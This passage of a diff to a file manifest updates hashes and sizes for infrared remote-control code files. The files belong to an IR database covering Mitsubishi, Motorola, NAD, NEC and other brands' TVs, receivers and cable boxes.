+F:05a516693c2c0f70b47429014603bb4d:2228:infrared/_CSV-IRDB_/Mitsubishi/Unknown_HS-349/87,-1.ir +F:58d7d61b0eb91cf451a974e1d0c2b43f:2075:infrared/_CSV-IRDB_/Mitsubishi/Unknown_mitsubishi/71,-1.ir +F:b359ef02845c92af26d051077ed2d0de:5521:infrared/_CSV-IRDB_/Mitsubishi/Unknown_tv/71,-1.ir +F:c68c55f041e35c8bfacb5bde78790df4:390:infrared/_CSV-IRDB_/Mitsubishi/VCR/119,-1.ir +F:16c9c93a1e3bfdc906e80b43475db390:118:infrared/_CSV-IRDB_/Mitsubishi/VCR/23,-1.ir +F:97c73b4a00458f7c7c48985d9aa9e812:1976:infrared/_CSV-IRDB_/Mitsubishi/VCR/3,-1.ir +F:d0f66ba82b6b8f7455293d911ae9a586:975:infrared/_CSV-IRDB_/Mitsubishi/VCR/7,-1.ir +F:ededf2f011667db716a39e2d5fcd1202:6271:infrared/_CSV-IRDB_/Mitsubishi/VCR/71,-1.ir +F:0dc4cdcd1bfb323b02da85e2dd813f4f:44529:infrared/_CSV-IRDB_/Mitsubishi/VCR/87,-1.ir +F:6ab47f316c5d425dab0fc91dae46381d:2847:infrared/_CSV-IRDB_/Mitsubishi/Video Projector/71,-1.ir D:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E -F:8bcd72649fcd3766616d4fd8cfb2c89d:786:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir +F:7bf1b70eab2e243f3c733a01521bd998:736:infrared/_CSV-IRDB_/Monoprice/Unknown_HDX(C)-501E/0,-1.ir D:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15 D:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado -F:d55db05bfaff9b88ce15919957a18e0f:2080:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir -F:56ea97af124b722a59eb8192dd390d3a:1986:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir +F:2396f738756da4689d04aa195b9310e4:1946:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_T15/128,38.ir +F:6b9a5fcaeceef265a6d966d1bafd4b6e:1858:infrared/_CSV-IRDB_/Morgans Daytona/Unknown_Tornado/202,165.ir D:infrared/_CSV-IRDB_/Motorola/Cable Box D:infrared/_CSV-IRDB_/Motorola/Cox D:infrared/_CSV-IRDB_/Motorola/DSS @@ -4078,67 +4078,67 @@ D:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA D:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500 D:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2 D:infrared/_CSV-IRDB_/Motorola/Unknown_VIP -F:0db342f481d8d12324f86b1050f4f5f2:24623:infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir -F:9892dd785d5906e5d4c8d167fc517504:501:infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir -F:4a5f4e6216ce260430f3a0934605e7c4:320:infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir -F:fe90ac535cc4d494f539269806ca8b71:412:infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir -F:55839167ea5d0f398accb17ed97a4e4f:3623:infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir -F:5b82b393a4ce09ca1742749425047494:126:infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir -F:25db53ed960584c5c8e0a19540f72972:412:infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir -F:b34ec9fc1ed64713d4aa11e97172c5e1:338:infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir -F:bca76ffdb07f3b9ec847f041b6545346:320:infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir -F:62f46fed24b8911d64331b757cbcfc0c:320:infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir -F:837571950e4eb54c61559ec16a63eb89:129:infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir -F:a1fc9f5e2705b7a262a35c1c5bd63718:131:infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir -F:97269d62a10aa9fc66b1e021e1e642cc:5205:infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir -F:62f46fed24b8911d64331b757cbcfc0c:320:infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir -F:e0c896752375f04d14ef928791350518:131:infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir -F:4db04f88e8e474b890934e51df542787:4233:infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir -F:ced0b03ec02c405a2818f338473842c3:3776:infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir -F:cd46a22b920ef20e48ab3bf3726c5ccd:4881:infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir -F:5b82b393a4ce09ca1742749425047494:126:infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir -F:c119d2e36de4739fd1c1c692b04a4baa:2874:infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir -F:363dcf1e905b301670507576e5a7bf34:3429:infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir -F:e95de6b893e44a05a8707d48d08127d1:3273:infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir -F:dc773f2078d2a9b009b581a7d1952a37:3921:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir -F:6243e83c19df0f13675a192a34530c6a:959:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir -F:c0cf927058e25d547b21353ebbc872c8:4327:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir -F:8a365b20b46496fbef622665bf38b05a:5068:infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir -F:f15e46f49bb4940e2e1cf1d19f13ee43:2979:infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir -F:f15e46f49bb4940e2e1cf1d19f13ee43:2979:infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir -F:d3d89ead193a914e3af01de8b2139357:3157:infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir -F:0802b2d63f0bbe9100c152e694314e57:4210:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir -F:db13d6776030dd473201c2ff84f73a6c:5414:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir -F:f2b9e564d1c3fceee3b87bbb77867099:7010:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir -F:cf799868916b50658e280c92d15b6524:3913:infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir +F:bd6d7b74c3fc4ac8b96ad4feef1a7c4d:23043:infrared/_CSV-IRDB_/Motorola/Cable Box/0,-1.ir +F:bb7d2ce1ec15847b380752179e77c68e:469:infrared/_CSV-IRDB_/Motorola/Cable Box/1,-1.ir +F:ecf8f4229cca7add5602f9e482e84383:300:infrared/_CSV-IRDB_/Motorola/Cable Box/15,-1.ir +F:9736560dee17dfdaa11397596e593cca:386:infrared/_CSV-IRDB_/Motorola/Cable Box/170,-1.ir +F:943868f56187a4119d763f9f3900dddb:3387:infrared/_CSV-IRDB_/Motorola/Cable Box/18,0.ir +F:7ccac2ddba0b50058bed518d698754b7:118:infrared/_CSV-IRDB_/Motorola/Cable Box/3,-1.ir +F:f340aa9ad891d3d35e7d7a83cec949f2:386:infrared/_CSV-IRDB_/Motorola/Cable Box/4,-1.ir +F:252e349cea8b548fdbe0a9c2ec2d1e65:318:infrared/_CSV-IRDB_/Motorola/Cable Box/5,-1.ir +F:91f8dbfff8d97c3aec75647da55c1679:300:infrared/_CSV-IRDB_/Motorola/Cable Box/5,1.ir +F:f5d341fd67a816b81d7293a579660ac8:300:infrared/_CSV-IRDB_/Motorola/Cable Box/64,-1.ir +F:fb5341959ba8a1af000a6e3a60b8015c:121:infrared/_CSV-IRDB_/Motorola/Cable Box/68,-1.ir +F:deb3fabd7252e168ec96a3bfd9afaec2:123:infrared/_CSV-IRDB_/Motorola/Cable Box/9,-1.ir +F:5bc487917c448f43ebabc83fcf76ef66:4867:infrared/_CSV-IRDB_/Motorola/Cox/0,-1.ir +F:f5d341fd67a816b81d7293a579660ac8:300:infrared/_CSV-IRDB_/Motorola/Cox/64,-1.ir +F:ba7567c28cb949c24c118a5a3c08fef4:123:infrared/_CSV-IRDB_/Motorola/DSS/1,-1.ir +F:05364a83645fce76a0acd33789a86554:3955:infrared/_CSV-IRDB_/Motorola/DVR/0,-1.ir +F:0865f0c969a9d524e60fa571653ad72c:3534:infrared/_CSV-IRDB_/Motorola/IP box/16,0.ir +F:52fed6f962bd1bdc095424d7e87d54ef:4561:infrared/_CSV-IRDB_/Motorola/Remote/0,-1.ir +F:7ccac2ddba0b50058bed518d698754b7:118:infrared/_CSV-IRDB_/Motorola/Remote/3,-1.ir +F:01a6f59f35836fbe6a4f52c8c4fb953f:2692:infrared/_CSV-IRDB_/Motorola/Unknown_4dtv/0,-1.ir +F:4a97daaca4f982da88663b22547f6f7a:3211:infrared/_CSV-IRDB_/Motorola/Unknown_Cable/0,-1.ir +F:78093c8da3a19f3b6965838552b7e7d0:3067:infrared/_CSV-IRDB_/Motorola/Unknown_DCH3416/0,-1.ir +F:a5d2e6b3ea6fb24e4ee4c00e08316ec4:3673:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2000/0,-1.ir +F:40067ae403b4825674aba81de1863f14:897:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2244/0,-1.ir +F:cb39f521f14c050966e37cc583570b22:4055:infrared/_CSV-IRDB_/Motorola/Unknown_DCT2524/0,-1.ir +F:b16cb7d18463a7fef91bf373581fe9b6:4748:infrared/_CSV-IRDB_/Motorola/Unknown_DRC800/0,-1.ir +F:42b62bf4d69b0539238a9c07eff986f0:2791:infrared/_CSV-IRDB_/Motorola/Unknown_DTH320-4/134,47.ir +F:42b62bf4d69b0539238a9c07eff986f0:2791:infrared/_CSV-IRDB_/Motorola/Unknown_DTH355/134,47.ir +F:3f128a508252283f053d5ee2dcb06f97:2957:infrared/_CSV-IRDB_/Motorola/Unknown_DVi2030/0,-1.ir +F:45542790050fbb9f40ea90c3bff4b26b:3944:infrared/_CSV-IRDB_/Motorola/Unknown_MOTOROLA/0,-1.ir +F:651cfbebae9c906cb0368e56419a1409:5076:infrared/_CSV-IRDB_/Motorola/Unknown_QIP2500/0,-1.ir +F:bb3f16db76a0a82873abf58bef4254d1:6576:infrared/_CSV-IRDB_/Motorola/Unknown_RC1445302-00B-REV2/0,-1.ir +F:a7e2e828d3118b653105914162844d97:3665:infrared/_CSV-IRDB_/Motorola/Unknown_VIP/35,64.ir D:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal -F:829f1a802ec54a95a7a0db84a16b7bad:1652:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir +F:cf963695f2bf97c88497905b178bf68d:1548:infrared/_CSV-IRDB_/Multi Canal/Unknown_Canal/133,123.ir D:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910 -F:13d1c0ca1e29e5c5cf24fd5a9e802ced:3063:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir +F:9af7b4ad08cc7db5295c62f3816d13e3:2869:infrared/_CSV-IRDB_/Multichoice/Unknown_DSD910/24,-1.ir D:infrared/_CSV-IRDB_/Mustek/Unknown_DVD D:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD D:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300 -F:88e9e9f354442609a041c9f6b0ac4f04:4671:infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir -F:cc658f2b79ab05fe724d707fd6c19720:4592:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir -F:f8aacbb788c0ec2ea3e5f8a5635cf484:4556:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir +F:42550a67013ab610460aac7d3dbd80cf:4375:infrared/_CSV-IRDB_/Mustek/Unknown_DVD/16,237.ir +F:7458a3100ac8088a3b8ff3ee36093745:4302:infrared/_CSV-IRDB_/Mustek/Unknown_MustekDVD/16,237.ir +F:82b969e2ab52983b3b7b766c242c689d:4266:infrared/_CSV-IRDB_/Mustek/Unknown_RMC-V300/16,237.ir D:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+ -F:56ab6fccc1d682b28a1d7755f9b050e4:3841:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir +F:61dbbb961f307ecb540efae10bcbdd1e:3599:infrared/_CSV-IRDB_/Mvision/Unknown_FCIS7000E+/64,64.ir D:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier D:infrared/_CSV-IRDB_/Myryad/Receiver -F:36a24edf66254df03b2d8635efdf9034:131:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir -F:438c32a8b0dac4609b0d1124af8352cc:414:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir -F:97250dd02d1073078d9f45865f80ff42:131:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir -F:823fc0c758272e48300fa470b3371248:132:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir -F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir -F:cf6f1b4d25f06ab2de5d98ce0b2787da:129:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir -F:4f948796b0bcff6ed25701b01eaec7dc:132:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir -F:36a24edf66254df03b2d8635efdf9034:131:infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir -F:438c32a8b0dac4609b0d1124af8352cc:414:infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir -F:17d8b440e9175a2d113e94bf524a8483:779:infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir -F:823fc0c758272e48300fa470b3371248:132:infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir -F:90b178683ec3f794301b51f40585054e:1838:infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir -F:cf6f1b4d25f06ab2de5d98ce0b2787da:129:infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir -F:4f948796b0bcff6ed25701b01eaec7dc:132:infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir +F:232995b8184e07195d1d8ffa2ced29ee:123:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/0,-1.ir +F:e80a44da453d418b5f81202ed115bc7b:388:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/16,-1.ir +F:509e3f2db95f32368b87d77967b0fb52:123:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/17,-1.ir +F:dcf2283c4efc2c251040166693910d12:124:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/18,-1.ir +F:6d6169ff98bd997152f19d4e33eb4b29:120:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/20,-1.ir +F:341e54a5bf6e1d7c8031b59b9c7e09ae:121:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/21,-1.ir +F:8f4e247b94baa584a86cfaf1bf5407d6:124:infrared/_CSV-IRDB_/Myryad/Pre-Amplifier/23,-1.ir +F:232995b8184e07195d1d8ffa2ced29ee:123:infrared/_CSV-IRDB_/Myryad/Receiver/0,-1.ir +F:e80a44da453d418b5f81202ed115bc7b:388:infrared/_CSV-IRDB_/Myryad/Receiver/16,-1.ir +F:1a0a67f0d2679cb380ba78153527f5f6:729:infrared/_CSV-IRDB_/Myryad/Receiver/17,-1.ir +F:dcf2283c4efc2c251040166693910d12:124:infrared/_CSV-IRDB_/Myryad/Receiver/18,-1.ir +F:86d8260bfdbc1d958e71d91095855d50:1716:infrared/_CSV-IRDB_/Myryad/Receiver/20,-1.ir +F:341e54a5bf6e1d7c8031b59b9c7e09ae:121:infrared/_CSV-IRDB_/Myryad/Receiver/21,-1.ir +F:8f4e247b94baa584a86cfaf1bf5407d6:124:infrared/_CSV-IRDB_/Myryad/Receiver/23,-1.ir D:infrared/_CSV-IRDB_/NAD/Amplifier D:infrared/_CSV-IRDB_/NAD/CD Player D:infrared/_CSV-IRDB_/NAD/Cassette Tape @@ -4152,22 +4152,22 @@ D:infrared/_CSV-IRDB_/NAD/Unknown_NAD D:infrared/_CSV-IRDB_/NAD/Unknown_RC512 D:infrared/_CSV-IRDB_/NAD/Unknown_SR6 D:infrared/_CSV-IRDB_/NAD/Unknown_SR712 -F:93c02cd27b9c7a04bbf0d396a94132d3:3282:infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir -F:7f444f07ab8ab6e674bb61fd8a53863f:1401:infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir -F:69903717d1484c2a273147bdae6b66fe:2774:infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir -F:d8733f04895a8bbf0320d52f55513e73:3052:infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir -F:e695a48b2b97c8df23aff575c7aca086:1153:infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir -F:af3b58126e0c96f3d13ba37c06bf125c:2588:infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir -F:036fcf71babadd79bbfdd51e525b6236:5509:infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir -F:2e2186ec8ced0f9c1071c12041adc827:3830:infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir -F:828f16e0d47913882fa359d2010bc43e:213:infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir -F:8646367690dcbb4520cf882083d49d22:3934:infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir -F:04b129aed5728fe0cfa9aaf482241b5e:5738:infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir -F:40b1901c07b356f100b3e290a507ee01:3953:infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir -F:2a13401c2dd7226724184718fede20f3:711:infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir -F:5c2b69be309b9ebf3bc748776dc3eff8:2012:infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir -F:74ca008043cf79e9adec4768b466f478:5830:infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir -F:c725fabc1faa0a808834508a256d2b7e:3765:infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir +F:bbcb26e31f1ddd43eb3072fcaa14de23:3076:infrared/_CSV-IRDB_/NAD/Amplifier/135,124.ir +F:5c71c15bce89ef41a298e4b6cb6f4e9d:1309:infrared/_CSV-IRDB_/NAD/CD Player/133,111.ir +F:a88c21256d6b11313f2310960a816cbf:2592:infrared/_CSV-IRDB_/NAD/CD Player/135,124.ir +F:8a5a6aa2b273b738fdebd677208b49dc:2852:infrared/_CSV-IRDB_/NAD/CD Player/42,-1.ir +F:8dc61f06d9e1b326d9bd3f8cf62baa48:1079:infrared/_CSV-IRDB_/NAD/Cassette Tape/135,124.ir +F:58995f33a6d41222339fcbf609c7b332:2418:infrared/_CSV-IRDB_/NAD/Monitor/64,-1.ir +F:6d0cd53d410fb17965b1f033e627827a:5159:infrared/_CSV-IRDB_/NAD/Receiver/135,124.ir +F:615f5497f903fba7d2b09cac6b4921b0:3588:infrared/_CSV-IRDB_/NAD/Surround Processor/135,124.ir +F:b6cc3fbd887a41814a632217536d7a64:199:infrared/_CSV-IRDB_/NAD/Surround Processor/93,-1.ir +F:62a3d6d2dfdc76c0f682ce6c170c8e4b:3692:infrared/_CSV-IRDB_/NAD/Tuner/135,124.ir +F:e12f57025f6030457a3a3d2475883f0a:5376:infrared/_CSV-IRDB_/NAD/Unknown/135,124.ir +F:22ce760b7bb31900810b5a91b8e40b6e:3711:infrared/_CSV-IRDB_/NAD/Unknown_451/135,124.ir +F:b7c89aab02f9799ac865d35c737fe11d:667:infrared/_CSV-IRDB_/NAD/Unknown_NAD/17,-1.ir +F:d3bab7bcc2d8f730f3898505d07dcc34:1884:infrared/_CSV-IRDB_/NAD/Unknown_RC512/135,124.ir +F:7836be5caa9ae05f9c2c6433e6508d3e:5462:infrared/_CSV-IRDB_/NAD/Unknown_SR6/135,124.ir +F:b72eff10eb98e11c0348c2996a082503:3535:infrared/_CSV-IRDB_/NAD/Unknown_SR712/135,124.ir D:infrared/_CSV-IRDB_/NEC/Monitor D:infrared/_CSV-IRDB_/NEC/Receiver D:infrared/_CSV-IRDB_/NEC/Surround Processor @@ -4195,88 +4195,88 @@ D:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A D:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020 D:infrared/_CSV-IRDB_/NEC/VCR D:infrared/_CSV-IRDB_/NEC/Video Projector -F:e4a8bccc099ee03d76e6c236bc7eabb0:2506:infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir -F:622902503665c2b14b60b7c09c03f94f:1915:infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir -F:8220330c86b37d959038745225124832:719:infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir -F:f9af78206a5a8aaa1c0490721bc7f913:524:infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir -F:f1b328fbf98eced59681844504d88030:1099:infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir -F:32855424bcc5f0d2c4d9e541d5037d17:979:infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir -F:913f806a17614a0d57eb05a876568de0:2347:infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir -F:0a707e44333b4ada577832d3170ec890:629:infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir -F:7f3780e6874f5b270985345e78f324ed:1044:infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir -F:263a3459753802a33ca91fc4625dfca5:7971:infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir -F:4953789fe617cf89772d8c2916bd509d:2364:infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir -F:c81984abc263b5ec7c5d9c7ef6439e8c:886:infrared/_CSV-IRDB_/NEC/TV/24,-1.ir -F:724a588f66914425fbd402018d5ddaac:1065:infrared/_CSV-IRDB_/NEC/TV/24,24.ir -F:8c60f99f4d50e46067f6aea8c0ca1241:2224:infrared/_CSV-IRDB_/NEC/TV/4,-1.ir -F:45095bd71fafec8c524ad69bcac9e05b:3151:infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir -F:b1c5d0b8fd27bd20201530cc0c4bb91c:3151:infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir -F:40f9ff06fdc8d3bd75df7f5fa1af074e:917:infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir -F:c111b05576181493e7828ff6b8ab7a68:1203:infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir -F:44a3d40ed3822532895fc9dd899b953a:3197:infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir -F:8de9960471c9fe5f8529e527411016cf:3827:infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir -F:854fc8dc69a00558e869683460822239:5193:infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir -F:4e16bfbcd39b7a0dc2d01f9ad8d94d5d:2402:infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir -F:97daa2c4bb2e8fb0c030834844b13f10:1076:infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir -F:b6e23b0c661f0aeff92730a1aa4b0f42:2281:infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir -F:937097b70f1ea5c7f02fec16135fc37e:2306:infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir -F:14ab8ad81e99598cd4806b791a1e4fc4:2411:infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir -F:bcba9cc1c4f0aad4d57f347cae1ecebc:2414:infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir -F:f6dc8de5449b7505b016943da7f1e29b:2879:infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir -F:a8a58e693d43df1578a47031066fa59f:1277:infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir -F:4d6e9616a422d0fee698cb8440a74130:1666:infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir -F:7622dbd98373cb2a21dc9a72ae028707:2628:infrared/_CSV-IRDB_/NEC/Unknown_RD-409E/24,233.ir -F:6af7fcc874eb7ee68eb55c1ead5bdff0:2733:infrared/_CSV-IRDB_/NEC/Unknown_RD-427E/24,233.ir -F:1e74b9bd936f5a280914b7e50ea26a0b:3145:infrared/_CSV-IRDB_/NEC/Unknown_RU-1220S/24,247.ir -F:8e4a28fa07aac8e929f1c9f0e881072f:3509:infrared/_CSV-IRDB_/NEC/Unknown_TRB-60/49,-1.ir -F:9faec68198189765e9104d6eed426e33:1493:infrared/_CSV-IRDB_/NEC/Unknown_TRB-968A/25,-1.ir -F:fd9b6807e7fd6e28b400cdd045619d1b:3087:infrared/_CSV-IRDB_/NEC/Unknown_UR-3020/24,247.ir -F:33c8b2514a1bc84088698dae3e943139:1455:infrared/_CSV-IRDB_/NEC/VCR/10,-1.ir -F:6e5ed8d70b40ab3f6839decb0d4bb9d8:12905:infrared/_CSV-IRDB_/NEC/VCR/25,-1.ir -F:77a70b919b1fae60fab4532d13d1cc0f:3450:infrared/_CSV-IRDB_/NEC/VCR/4,-1.ir -F:09de3662cb22176881f6923fdd366c47:12382:infrared/_CSV-IRDB_/NEC/Video Projector/24,233.ir -F:aeccd6397b642dc482587126df3042d9:8130:infrared/_CSV-IRDB_/NEC/Video Projector/24,247.ir +F:53dd18ea6c0dfa361dbdfa380a13ba73:2348:infrared/_CSV-IRDB_/NEC/Monitor/25,-1.ir +F:e74fc21a7a2519e647999a4e9bb6096a:1793:infrared/_CSV-IRDB_/NEC/Monitor/4,-1.ir +F:481a960fe733384b0f6e7a1e49d82535:675:infrared/_CSV-IRDB_/NEC/Receiver/25,-1.ir +F:18588ca83bfd30ae7c62812f039ecf80:492:infrared/_CSV-IRDB_/NEC/Receiver/26,-1.ir +F:234891cabb2f1d82d7d60953e4dd02c8:1031:infrared/_CSV-IRDB_/NEC/Receiver/26,197.ir +F:c4f9d44872880a319dd65ba6ce38d2c9:917:infrared/_CSV-IRDB_/NEC/Receiver/26,225.ir +F:29392c0b2872ebb858bfeb3d25dada61:2201:infrared/_CSV-IRDB_/NEC/Receiver/26,228.ir +F:e6f6a182630ddbcf69624549c5cd42d0:591:infrared/_CSV-IRDB_/NEC/Receiver/26,231.ir +F:86b856521debe5d80382128d956e5677:976:infrared/_CSV-IRDB_/NEC/Receiver/4,-1.ir +F:0635af01e0c7983be1a902fbef191fc8:7471:infrared/_CSV-IRDB_/NEC/Surround Processor/13,-1.ir +F:86fa27d3099b4dda70c059cd25cb369f:2218:infrared/_CSV-IRDB_/NEC/Surround Processor/26,228.ir +F:dcaa66422eb962203de09befe57c06e1:830:infrared/_CSV-IRDB_/NEC/TV/24,-1.ir +F:8f7f2a568b4faebd87050ed75e4e806a:997:infrared/_CSV-IRDB_/NEC/TV/24,24.ir +F:1f3745a99302960dfe62fbf4f3d805be:2078:infrared/_CSV-IRDB_/NEC/TV/4,-1.ir +F:bc8cc2aea7e72c55a492b95060a1c514:2957:infrared/_CSV-IRDB_/NEC/Unknown/25,-1.ir +F:cb8a19cd1785bf4e1b30136cf58e56f9:2957:infrared/_CSV-IRDB_/NEC/Unknown/25,231.ir +F:d872abe192283df6eb57267c322038d5:861:infrared/_CSV-IRDB_/NEC/Unknown_RB-34P/25,-1.ir +F:b0c574ea7125e505df3a2ee6b295c0ec:1129:infrared/_CSV-IRDB_/NEC/Unknown_RB-73A/25,-1.ir +F:99d52ec20e3f3976ad1b64f40e047b86:2997:infrared/_CSV-IRDB_/NEC/Unknown_RB-D3A/25,-1.ir +F:41547cb7e487a7ece479841681efaeef:3585:infrared/_CSV-IRDB_/NEC/Unknown_RB-DV22/45,45.ir +F:70846e5a13857667cebd2404ea6046e7:4861:infrared/_CSV-IRDB_/NEC/Unknown_RC-1065E/24,-1.ir +F:cb115082eee3ee9de456939dd904889d:2250:infrared/_CSV-IRDB_/NEC/Unknown_RC-1083E/24,-1.ir +F:26a26ed633c7865c10cbaebe3bfb1ba2:1008:infrared/_CSV-IRDB_/NEC/Unknown_RC-334E/24,233.ir +F:5fa1d1d5711dcd00aa2d2a89893bee97:2135:infrared/_CSV-IRDB_/NEC/Unknown_RC-6010/24,247.ir +F:2dadcf703cb52ba88710fc2ef0c547fb:2160:infrared/_CSV-IRDB_/NEC/Unknown_RD-1077E/24,-1.ir +F:e0da439b966cc00aa8fd9c20c96f2915:2259:infrared/_CSV-IRDB_/NEC/Unknown_RD-1078E/24,-1.ir +F:0269c854af8b8d84ace24d36d69581e1:2262:infrared/_CSV-IRDB_/NEC/Unknown_RD-1083E/24,-1.ir +F:8c767945ce3b0ae47986f6cc519accfd:2691:infrared/_CSV-IRDB_/NEC/Unknown_RD-337E/2,-1.ir +F:0cfc4967ee72d1f5c9d8afee73068127:1197:infrared/_CSV-IRDB_/NEC/Unknown_RD-343E/24,233.ir +F:c158dab66db292727ac96b38829ccb94:1562:infrared/_CSV-IRDB_/NEC/Unknown_RD-348E/24,233.ir 